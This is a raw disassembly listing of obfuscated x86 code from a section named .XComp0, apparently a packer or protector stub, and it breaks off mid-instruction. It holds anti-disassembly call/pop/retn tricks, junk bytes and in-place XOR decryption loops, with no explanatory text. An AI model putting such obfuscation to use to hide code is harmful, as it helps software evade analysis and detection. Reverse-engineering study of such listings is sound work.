U T I N E ======================================= sub_572190 proc near ; CODE XREF: .XComp0:00572188p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_572190 endp ; --------------------------------------------------------------------------- dd 0E934695Ah, 29F84D68h db 0C2h ; --------------------------------------------------------------------------- loc_5721A9: ; CODE XREF: .XComp0:0057215Aj ; .XComp0:005722C9j mov eax, 1 push 0 push esi call sub_5721B9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5721B9 proc near ; CODE XREF: .XComp0:005721B1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5721B9 endp ; --------------------------------------------------------------------------- db 6Bh, 0F2h, 4Eh dd 0F3FE696h, 9D23D7BFh, 5F91F3Dh, 89E0BD8Dh, 2960005Bh dd 0F9250D85h, 58D0F05h, 66000000h, 73D1D781h, 0B8BA5761h dd 5B0FF296h, 958BE7FFh, 5F92C91h ; --------------------------------------------------------------------------- loc_572200: ; CODE XREF: .XComp0:00572140j lea edi, [ebp+5F944FDh] ; --------------------------------------------------------------------------- byte_572206 db 66h ; CODE XREF: .XComp0:00572253j ; --------------------------------------------------------------------------- loc_572207: ; CODE XREF: .XComp0:0057224Fj mov edx, ebx jmp loc_572478 ; --------------------------------------------------------------------------- push 0 push edx call sub_572219 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572219 proc near ; CODE XREF: .XComp0:00572211p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_572219 endp ; --------------------------------------------------------------------------- db 0F5h, 34h, 55h db 2Fh, 0BFh ; --------------------------------------------------------------------------- loc_57222E: ; CODE XREF: .XComp0:0057214Bj ; .XComp0:005722BEj mov dword ptr [ebp+5F94ECCh], 5 xor edx, [ebp+5F917B9h] mov eax, 5 push ebx call sub_572255 lock ficomp word ptr [ebp-4Ch] push esp jle short loc_572207 add cl, [eax] jns short near ptr byte_572206 ; =============== S U B R O U T I N E ======================================= sub_572255 proc near ; CODE XREF: .XComp0:00572244p call near ptr loc_57226B+1 mov byte ptr [ecx-27D89263h], 94h adc eax, 57193CE6h ror byte ptr [esi-4Ah], cl rcl bh, cl loc_57226B: ; CODE XREF: sub_572255p jnb short near ptr loc_5722C6+2 sub_572255 endp ; sp-analysis failed pop ebx pop ebx jmp loc_572B74 ; --------------------------------------------------------------------------- sub [ebp+5F924F9h], edx mov ebx, edx loc_57227C: ; CODE XREF: .XComp0:005720EAj cmp eax, 2 jnz loc_57234D jmp loc_57229C ; --------------------------------------------------------------------------- dw 0C9CFh dd 0AB0DDCFCh, 53505037h, 36C4689Ah, 7A2AB869h ; --------------------------------------------------------------------------- loc_57229C: ; CODE XREF: .XComp0:00572285j mov eax, 0 mov bx, 6E2h or eax, eax jz loc_57233B jmp loc_5722BB ; --------------------------------------------------------------------------- dw 0ED60h ; --------------------------------------------------------------------------- mov ebp, 0BD42AC56h test esp, eax loc_5722BB: ; CODE XREF: .XComp0:005722ADj cmp eax, 1 jz loc_57222E mov edx, eax loc_5722C6: ; CODE XREF: sub_572255:loc_57226Bj cmp eax, 3 jz loc_5721A9 push 0 push esi call sub_5722DA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5722DA proc near ; CODE XREF: .XComp0:005722D2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5722DA endp ; --------------------------------------------------------------------------- aam 91h dec esi mov ebx, 0F810A070h jno loc_5722FB movzx ebx, bx loc_5722FB: ; CODE XREF: .XComp0:005722F2j mov dx, 20FAh sub eax, eax mov [ebp+5F9163Dh], esi lea edi, dword_5B89E0[ebp] mov dx, di jmp edi ; --------------------------------------------------------------------------- push 0 push ebp call sub_57231D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57231D proc near ; CODE XREF: .XComp0:00572315p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_57231D endp ; --------------------------------------------------------------------------- and [ebx-2674CEB1h], dh push edx mov [ebp+5F9061Dh], edx pop ebx loc_57233B: ; CODE XREF: .XComp0:005722A7j lea edi, [ebp+5F946F5h] cld jmp loc_572478 ; --------------------------------------------------------------------------- mov [ebp+5F9281Dh], ecx loc_57234D: ; CODE XREF: .XComp0:0057227Fj cmp eax, 3 jnz loc_57239F push 0 push eax call sub_572361 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572361 proc near ; CODE XREF: .XComp0:00572359p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_572361 endp ; --------------------------------------------------------------------------- db 4, 3Dh, 15h dd 890FCE95h, 6, 34C18D31h, 0BD8D05F9h, 5F94889h, 7E9h dd 837A1000h, 116A789Ah, 0DFE9h, 91B58900h db 28h, 0F9h, 5 ; --------------------------------------------------------------------------- loc_57239F: ; CODE XREF: .XComp0:00572350j cmp eax, 5 jnz loc_5723D6 sbb bh, 84h jmp loc_572B74 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5723BB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5723BB proc near ; CODE XREF: .XComp0:005723B3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5723BB endp ; --------------------------------------------------------------------------- db 0DEh ; --------------------------------------------------------------------------- adc bh, [ecx] pusha sub [ebp+5F908FDh], ecx popa loc_5723D6: ; CODE XREF: .XComp0:005723A2j cmp eax, 6 jnz loc_5723FC mov edx, [ebp+5F918EDh] lea edi, [ebp+5F94A81h] mov [ebp+5F92A95h], esi jmp loc_572478 ; --------------------------------------------------------------------------- add [ebp+5F90951h], ecx loc_5723FC: ; CODE XREF: .XComp0:005723D9j cmp eax, 7 jnz loc_57243C mov edx, [ebp+5F9054Dh] lea edi, [ebp+5F92F0Dh] push 0 push eax call sub_57241C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57241C proc near ; CODE XREF: .XComp0:00572414p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_57241C endp ; --------------------------------------------------------------------------- dd 938B8494h, 0ACE97ADCh, 0BA000000h, 95D51EFh ; --------------------------------------------------------------------------- loc_57243C: ; CODE XREF: .XComp0:005723FFj cmp eax, 0Ah jnz loc_572478 movzx ebx, di mov dh, bl lea edi, [ebp+5F94C79h] mov [ebp+5F90F91h], edi jmp loc_572478 ; --------------------------------------------------------------------------- push 0 push ecx call sub_572466 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572466 proc near ; CODE XREF: .XComp0:0057245Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_572466 endp ; --------------------------------------------------------------------------- dw 8D9Bh ; --------------------------------------------------------------------------- loc_572478: ; CODE XREF: .XComp0:00572209j ; .XComp0:00572342j ... push edi jmp loc_572487 ; --------------------------------------------------------------------------- icebp stosd fcmovne st, st(3) mov eax, ds:738C7191h loc_572487: ; CODE XREF: .XComp0:00572479j mov ecx, 6557C8B3h xor ebx, 7DADE4DAh loc_572492: ; CODE XREF: .XComp0:005724B2j cmp dword ptr [edi], 0 jz loc_5724DC mov edx, 20AF34A0h xor [edi], cl mov [ebp+5F91A81h], eax mov ebx, esi ror ecx, 1 mov bl, 0E2h inc edi add bl, 0C7h jmp loc_572492 ; --------------------------------------------------------------------------- push 0 push esi call sub_5724C2 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5724C2 proc near ; CODE XREF: .XComp0:005724BAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5724C2 endp ; --------------------------------------------------------------------------- dw 6AE7h dd 0B5895BE6h, 5F9297Dh ; --------------------------------------------------------------------------- loc_5724DC: ; CODE XREF: .XComp0:00572495j pop edi mov edx, [ebp+5F9209Dh] mov [ebp+5F94E75h], edi add [ebp+5F91F01h], edi lea ecx, [ebp+5F91A05h] push 0 push ebx call sub_572500 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572500 proc near ; CODE XREF: .XComp0:005724F8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_572500 endp ; --------------------------------------------------------------------------- dd 2E818A0Ch, 0F10A859Fh, 8E0FF881h, 3, 0FFD18B66h, 0F90769B5h dd 0DDE38105h, 8D72BAA6h, 0FBE74E85h, 0BD8D5005h, 5F95588h dd 6F5C8D8Dh, 0BCB805F9h, 2B54831Ah, 0D00730CFh, 754947C8h dd 0EFB58DF8h, 8D05F96Eh, 0F96F748Dh, 0F3CF2B05h, 0B8C933A4h dd 0 ; --------------------------------------------------------------------------- or eax, eax jz short loc_5725B2 cmp dword ptr [ebp+5F913EDh], 0 jz short loc_57257B call dword ptr [ebp+5F907E1h] loc_57257B: ; CODE XREF: .XComp0:00572573j mov esi, [ebp+5F94E75h] lea eax, [ebp+5FBE74Eh] call eax lea eax, [ebp+5F942D2h] call eax mov dword ptr [ebp+5F921A5h], 1 mov esp, [ebp+5F918E9h] mov esi, [ebp+5F92BA5h] mov ebp, [ebp+5F913D1h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_5725B2: ; CODE XREF: .XComp0:0057256Aj push 0 push eax call sub_5725BD and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5725BD proc near ; CODE XREF: .XComp0:005725B5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5725BD endp ; --------------------------------------------------------------------------- db 0FAh, 0A3h, 27h dd 0E800A77Eh, 14h, 9451354Dh, 5B9496BCh, 400F64BDh, 43EEF723h dd 67828196h, 68D0Fh, 0B5890000h, 5F92711h, 819D895Ah dd 8305F92Eh, 0F90C69BDh, 840F0005h, 28h, 14E8h, 0D0DD600h dd 0B8A048B2h, 8C62F0ABh, 31505EBAh, 8AAB1A55h, 5BEDB676h dd 77595FFh, 0BD8905F9h, 5F92625h, 1825BD83h, 0F0005F9h dd 1F585h, 0DEB70F00h, 1785BD83h, 0F0105F9h, 1E585h, 0FE96000h dd 0B5000000h, 9DBE44AAh, 71AF50FCh, 3BE85EC2h, 9531EC55h dd 5F92231h, 41BD8361h, 5F921h, 1BC840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 793A17C3h, 49B27413h, 619D8BE8h, 5705F911h, 0BE9h, 3F2B1300h dd 0DF3CEC9Fh, 0E2FD9E38h, 0C8BD835Bh, 5F94Eh, 174840Fh dd 858D0000h, 5FBE74Eh, 6840Fh, 9D8B0000h, 5F92DB1h, 4E75B58Bh dd 953305F9h, 5F90D05h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 7BD252C3h, 8302135Fh dd 298D55A2h, 0F9002D95h, 5840F05h, 66000000h, 2735DA81h dd 85C6A6B7h, 5F91899h, 51006A54h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 71941453h, 0F9E70B9h dd 0A8Bh, 81666000h, 80CE5DC6h, 896126CFh, 0F90D2995h dd 251B6805h, 74B782DDh, 0D9240481h, 0E97C7199h, 6, 91DEBF06h dd 0B5FFB290h, 5F92719h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0CC35545h, 0EB84744Dh, 81758875h, 0E364E1CBh dd 6A858D4Ch, 6A05F93Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8BD5C353h, 0F9041595h dd 8BD0FF05h, 0F92B199Dh, 8B006A05h, 0F907FD9Dh, 68E0F05h dd 29000000h, 0F909A5BDh, 8BFF6A05h, 0F9203195h, 6AD0FF05h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 8245C355h, 28862283h, 0DE949h, 20FE0000h dd 0C36B708Ch, 0CAD5F6F2h, 0FF8C3297h, 0F90781B5h, 0C202BB05h dd 95FF4111h, 5F90769h, 0B58BF38Ah, 5F94E75h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 85C35040h, 2097C836h dd 16FA6EFh, 0F90575B5h, 1B58905h, 0C305F914h, 28E1B589h dd 0B58B05F9h, 5F91151h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0EAC35545h, 68E0Fh, 9D890000h, 5F93309h dd 6C98D89h, 0F60B05F9h, 0E840Fh, 0CA810000h, 4995A2CBh dd 0BA0006C6h, 4E19934Dh, 4E7D8589h, 6A05F9h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9B2993C3h dd 8C8BBFD9h, 4459D8Bh, 0B50905F9h, 5F92195h, 0F00F883h dd 34484h, 0A9F38100h, 0B879475Dh, 0 ; --------------------------------------------------------------------------- mov edx, ebx cmp eax, 0 jz loc_5729BB mov bx, 38B2h cmp eax, 2 jnz loc_5729A2 xor edx, [ebp+5F923FDh] lea eax, [ebp+5F944F8h] jmp loc_572938 ; --------------------------------------------------------------------------- db 0F4h, 66h, 0CFh dd 24364978h, 9CCA58B6h ; --------------------------------------------------------------------------- loc_572938: ; CODE XREF: .XComp0:00572928j sub eax, 929h push 0 push edi call sub_572948 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572948 proc near ; CODE XREF: .XComp0:00572940p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_572948 endp ; --------------------------------------------------------------------------- dd 0A6911C32h, 8B0F6090h, 6, 310F5250h, 55B4585Ah, 840F5061h dd 2, 6A90F08Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0FB6C352h, 58Bh, 0F3816600h, 66C3FF05h ; --------------------------------------------------------------------------- mov ebx, eax loc_5729A2: ; CODE XREF: .XComp0:00572916j mov eax, 0 jo loc_5729B2 mov ebx, 17B0C1F5h loc_5729B2: ; CODE XREF: .XComp0:005729A7j jmp loc_572C3D ; --------------------------------------------------------------------------- push edi mov dh, 0F5h pop ebx loc_5729BB: ; CODE XREF: .XComp0:00572909j mov eax, 1 jnb loc_5729D2 jp loc_5729D2 mov [ebp+5F90491h], edi loc_5729D2: ; CODE XREF: .XComp0:005729C0j ; .XComp0:005729C6j lea edi, [ebp+5F944FDh] and bx, 449Eh jmp loc_572AD0 ; --------------------------------------------------------------------------- sub [ebp+5F92625h], esi cmp eax, 2 jnz loc_572A40 jmp loc_572A07 ; --------------------------------------------------------------------------- dw 1A4Ah dd 4E3E442Ah, 0B045CC0Ah, 0CFD01355h db 42h, 4Eh, 26h ; --------------------------------------------------------------------------- loc_572A07: ; CODE XREF: .XComp0:005729F1j lea edi, [ebp+5F946F5h] mov dl, 6Fh jmp loc_572AD0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_572A1F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572A1F proc near ; CODE XREF: .XComp0:00572A17p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_572A1F endp ; --------------------------------------------------------------------------- db 22h ; --------------------------------------------------------------------------- add ecx, ebp jge loc_572A3A mov bl, 30h loc_572A3A: ; CODE XREF: .XComp0:00572A32j mov edx, [ebp+5F917FDh] loc_572A40: ; CODE XREF: .XComp0:005729EBj cmp eax, 3 jnz loc_572A9D push 0 push eax call sub_572A54 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572A54 proc near ; CODE XREF: .XComp0:00572A4Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_572A54 endp ; --------------------------------------------------------------------------- aas mov [ebp+5F929B5h], ebx lea edi, [ebp+5F94889h] add [ebp+5F9155Dh], edi movzx edx, ax jmp loc_572AD0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_572A8A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572A8A proc near ; CODE XREF: .XComp0:00572A82p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_572A8A endp ; --------------------------------------------------------------------------- dw 373Bh db 0E0h ; --------------------------------------------------------------------------- loc_572A9D: ; CODE XREF: .XComp0:00572A43j cmp eax, 5 jnz loc_572AD0 push 0 push edx call sub_572AB1 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572AB1 proc near ; CODE XREF: .XComp0:00572AA9p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_572AB1 endp ; --------------------------------------------------------------------------- lods dword ptr cs:[esi] push ebx inc ecx jmp loc_572B74 ; --------------------------------------------------------------------------- xor edx, 38D8FD9Dh loc_572AD0: ; CODE XREF: .XComp0:005729DDj ; .XComp0:00572A0Fj ... push edi sub ebx, [ebp+5F92C81h] mov ecx, 6557C8B3h and edx, [ebp+5F90B51h] loc_572AE2: ; CODE XREF: .XComp0:00572B4Bj cmp dword ptr [edi], 0 jz loc_572B74 mov [ebp+5F9100Dh], edx mov edx, [ebp+5F92B1Dh] xor [edi], cl cld pusha push edi pop edi popa ror ecx, 1 push 0 push eax call sub_572B0B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572B0B proc near ; CODE XREF: .XComp0:00572B03p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_572B0B endp ; --------------------------------------------------------------------------- stosb xor eax, 0F8FD2CC8h stc mov edx, 16EE9D35h inc edi push 0 push edx call sub_572B33 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572B33 proc near ; CODE XREF: .XComp0:00572B2Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_572B33 endp ; --------------------------------------------------------------------------- and cl, bh or bh, ds:0F55EEF80h jmp loc_572AE2 ; --------------------------------------------------------------------------- push 0 push ecx call sub_572B5B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572B5B proc near ; CODE XREF: .XComp0:00572B53p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_572B5B endp ; --------------------------------------------------------------------------- retf 7946h ; --------------------------------------------------------------------------- xor [ebp+5F9171Dh], edx loc_572B74: ; CODE XREF: .XComp0:0057226Fj ; .XComp0:005723ABj ... cmp eax, 5 jnz loc_572C3D push 0 push edx call sub_572B88 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572B88 proc near ; CODE XREF: .XComp0:00572B80p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_572B88 endp ; --------------------------------------------------------------------------- jbe short loc_572C18 movzx edx, di mov cx, ds mov edx, esi test cl, 4 jnz loc_572C0C jmp loc_572BB8 ; --------------------------------------------------------------------------- dd 0F11854CEh, 0EB9A6C27h ; --------------------------------------------------------------------------- loc_572BB8: ; CODE XREF: .XComp0:00572BABj mov eax, 0 push 0 push eax call sub_572BC8 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572BC8 proc near ; CODE XREF: .XComp0:00572BC0p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_572BC8 endp ; --------------------------------------------------------------------------- push cs pushf fsubr qword ptr [ebp-197FE817h] inc eax jmp loc_572C3D ; --------------------------------------------------------------------------- push 0 push edx call sub_572BF1 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572BF1 proc near ; CODE XREF: .XComp0:00572BE9p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_572BF1 endp ; --------------------------------------------------------------------------- db 0CEh, 0F3h, 0FAh ; --------------------------------------------------------------------------- mov ebx, ecx add edx, 836C6D8h loc_572C0C: ; CODE XREF: .XComp0:00572BA5j mov eax, [ebp+5F92099h] mov [ebp+5F91219h], eax loc_572C18: ; CODE XREF: .XComp0:00572B98j jmp eax ; --------------------------------------------------------------------------- push 0 push ebp call sub_572C25 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572C25 proc near ; CODE XREF: .XComp0:00572C1Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_572C25 endp ; --------------------------------------------------------------------------- db 0DCh, 4Eh, 29h dd 0F92749B5h db 5 ; --------------------------------------------------------------------------- loc_572C3D: ; CODE XREF: .XComp0:005720DBj ; .XComp0:loc_5729B2j ... cmp dword ptr [ebp+5F90769h], 0 jnz loc_572D4B push 0 push esi call sub_572C55 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572C55 proc near ; CODE XREF: .XComp0:00572C4Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_572C55 endp ; --------------------------------------------------------------------------- db 7Ch, 90h, 50h ; --------------------------------------------------------------------------- jmp loc_572C78 ; --------------------------------------------------------------------------- db 17h, 21h, 5Bh dd 0A52882C8h, 6DD8C67Ah ; --------------------------------------------------------------------------- loc_572C78: ; CODE XREF: .XComp0:00572C68j nop push ebx mov dl, 6Eh pop edx mov byte ptr [ebp+5F91899h], 45h mov bx, 0E06Ch push 3BE350EAh mov bx, cx add dword ptr [esp], 528F187Fh push 0 push edx call sub_572CA2 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572CA2 proc near ; CODE XREF: .XComp0:00572C9Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_572CA2 endp ; --------------------------------------------------------------------------- cmp al, 2Eh sub al, 0EBh and bx, 6DA0h push dword ptr [ebp+5F92719h] push 0 push ebx call sub_572CCC and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572CCC proc near ; CODE XREF: .XComp0:00572CC4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_572CCC endp ; --------------------------------------------------------------------------- sbb [ebp+1Fh], ecx sub ebx, [ebp+5F913E1h] lea eax, [ebp+5F93A6Ah] push 0 push ebp call sub_572CF6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572CF6 proc near ; CODE XREF: .XComp0:00572CEEp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_572CF6 endp ; --------------------------------------------------------------------------- popf pop ds sub eax, 12BB66C8h push ds call eax mov bh, 38h mov [ebp+5F90769h], eax mov edx, [ebp+5F906F1h] mov ebx, 1D4BE8A6h pop eax push 0 push ecx call sub_572D2F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572D2F proc near ; CODE XREF: .XComp0:00572D27p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_572D2F endp ; --------------------------------------------------------------------------- db 4Bh dd 1CE195B6h, 1FA9CC2Eh ; --------------------------------------------------------------------------- pop ecx mov bh, 75h loc_572D4B: ; CODE XREF: .XComp0:00572C44j cmp dword ptr [ebp+5F94ECCh], 0 jz loc_572DBB push 0 push edx call sub_572D63 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572D63 proc near ; CODE XREF: .XComp0:00572D5Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_572D63 endp ; --------------------------------------------------------------------------- db 23h db 90h db 14h, 0D3h, 0AFh dd 0D6E77FAh, 0A59D8995h, 6605F931h, 3425F381h, 781B5FFh dd 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 47A617C3h, 8E428F5Fh, 95FFFCBDh, 5F90769h ; --------------------------------------------------------------------------- movsx ebx, di loc_572DBB: ; CODE XREF: .XComp0:00572D52j cmp eax, 0 jnz loc_572EB3 mov [ebp+5F914ADh], eax cmp dword ptr [ebp+5F90151h], 0 jz loc_572E18 push edi mov edx, esi pop ebx push dword ptr [ebp+5F90151h] push 0 push esi call sub_572DEC and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572DEC proc near ; CODE XREF: .XComp0:00572DE4p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_572DEC endp ; --------------------------------------------------------------------------- retn 0CA81h ; --------------------------------------------------------------------------- xchg eax, ebx cmc not dword ptr [edi] mov eax, 1 mov [ebp+5F903DDh], ebx jmp loc_573094 ; --------------------------------------------------------------------------- mov ebx, 24CA55D7h loc_572E18: ; CODE XREF: .XComp0:00572DD1j push dword ptr [ebp+5F90781h] call sub_572E33 xchg eax, edx retn ; --------------------------------------------------------------------------- or edx, [ebx+62BA485Ch] dec byte ptr [edx-3D4E2BD5h] push ds icebp ; =============== S U B R O U T I N E ======================================= sub_572E33 proc near ; CODE XREF: .XComp0:00572E1Ep mov bh, al pop ebx push dword ptr [ebp+5F90781h] push 0 push esi call sub_572E47 and [esi-3Dh], bl sub_572E33 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_572E47 proc near ; CODE XREF: sub_572E33+Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_572E47 endp ; --------------------------------------------------------------------------- db 7Eh dd 8B67216Bh, 5E8DFh, 495B0000h, 0F91A1D67h, 69B5FF5Bh dd 6A05F907h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0ED18C350h, 815DC465h, 0AC3957EBh dd 1FAE91Ah, 14E90000h, 2B000000h, 2E09A5Bh, 589C2A82h dd 797BA4C0h, 91DAF572h ; --------------------------------------------------------------------------- push esp test edx, ecx loc_572EB3: ; CODE XREF: .XComp0:00572DBEj pop edi push 0 push ebx call sub_572EBF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572EBF proc near ; CODE XREF: .XComp0:00572EB7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_572EBF endp ; --------------------------------------------------------------------------- db 0E7h dd 675A107h, 0F5525D4Bh, 25BD835Ah, 5F909h, 0B2850Fh, 99B20000h dd 189985C6h, 894D05F9h, 0F922458Dh, 4E805h, 76A80000h dd 0BA51A435h, 38F5EE3Eh, 7DBB505Bh, 8B52AE97h, 60042444h dd 6820Fh, 810F0000h, 0 dd 9E8h, 0DAC5B400h, 0D377F541h, 5E525DA0h, 8B615Eh, 0C1CDBB66h dd 4244489h, 3C04BA58h, 0B5FF38BFh, 5F92109h, 26058D29h dd 8B0F05F9h, 0Ch, 6840Fh, 0BD890000h, 5F91E1Dh, 3A6A858Dh dd 816605F9h, 0BAC78FC2h, 20A5FCEAh, 958BD0FFh, 5F928A1h dd 9258589h, 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 2EA02EC3h, 0B8h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 63047671h, 341D7130h, 0BD8987B7h, 5F94E75h, 0B8CE780h dd 3E840FC0h, 0B000000h, 0F90D019Dh, 0B6E905h, 8A0F0000h dd 2Dh, 0FE8h, 19C7F200h, 0EA5CD5F8h, 0C343F15Ch, 7633474Ah dd 13E9h, 8AAC5E00h, 981A5021h, 14D0D2F9h, 0A7F9B793h dd 0F5D61715h, 69B5FF5Bh, 8905F907h, 0F90F4D95h, 4E858D05h dd 0F05FBE7h, 88Bh, 2870F00h, 57000000h, 8B66505Ah, 240489D1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 72C35040h dd 9DA01365h, 790434BEh, 9D3360F5h, 5F92421h, 0BD57BB66h dd 0CE861h, 5D250000h, 2A605B39h, 80F677F2h, 0DE8D8ABh dd 66000000h, 0AF83E58Bh, 35C2FE6Ah, 0CA208CF0h, 26D99D8Bh dd 5B5A05F9h ; --------------------------------------------------------------------------- loc_573094: ; CODE XREF: .XComp0:00572E0Ej push eax push esi lea edi, [ebp+5F95588h] lea ecx, [ebp+5F97ABCh] mov eax, 748323BCh sub ecx, edi loc_5730A9: ; CODE XREF: .XComp0:005730AFj xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_5730A9 pop esi pop eax cmp dword ptr [ebp+5F90151h], 0 jz short loc_5730C2 mov ecx, [ebp+5F9255Dh] loc_5730C2: ; CODE XREF: .XComp0:005730BAj xor ecx, ecx mov eax, 0 or eax, eax jz loc_573179 cmp dword ptr [ebp+5F913EDh], 0 jz short loc_5730E0 call dword ptr [ebp+5F907E1h] loc_5730E0: ; CODE XREF: .XComp0:005730D8j mov eax, 0 or eax, eax jnz short loc_5730F2 cmp dword ptr [ebp+5F94E7Dh], 